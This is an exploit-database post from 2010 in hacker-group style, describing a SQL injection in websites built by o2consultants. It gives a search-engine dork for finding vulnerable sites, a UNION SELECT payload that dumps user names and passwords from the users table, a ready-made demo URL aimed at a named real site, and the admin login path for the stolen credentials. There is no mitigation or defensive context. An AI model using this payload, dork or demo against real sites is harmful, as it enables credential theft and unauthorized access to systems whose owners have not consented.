o2consultants suffers from a remote SQL injection vulnerability.
47d9d38fb3baf0283fdcd7c1b9c7a5fe11f5defcc201ce7501ddf3cbc7c82e13
=======================================================================
o2consultants SQL Injection Vulnerability
=======================================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 #################################### 1
0 I'm XroGuE member from Inj3ct0r Team 1
1 #################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
########################################################################
# Name: o2consultants SQL Injection Vulnerability
# Vendor: http://www.o2consultants.com
# Date: 2010-06-05
# Author: XroGuE
# Thanks to: Inj3ct0r.com,Exploit-DB.com,SecurityReason.com,Hack0wn.com !
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: (-_+)
########################################################################
[+] Dork: intext:"Site By o2consultants.com" inurl:articlesdetail.php
[+] Vulnerabilities: articlesDetail.php & And maybe another pages :P ;)
[+] Vulnerability: http://[target]/[path]/articlesdetail.php?id=[SQL]
[+] Exploit: -999+union+select+1,group_concat(user_name,0x3a,user_password),3,4,5,6,7,8,9,10+from+dr_users
[+] Demo: http://www.arabbones.com/articlesdetail.php?id=-999+union+select+1,group_concat%28user_name,0x3a,user_password%29,3,4,5,6,7,8,9,10+from+dr_users
[+] Login: http://[target]/Admin/index.php
########################################################################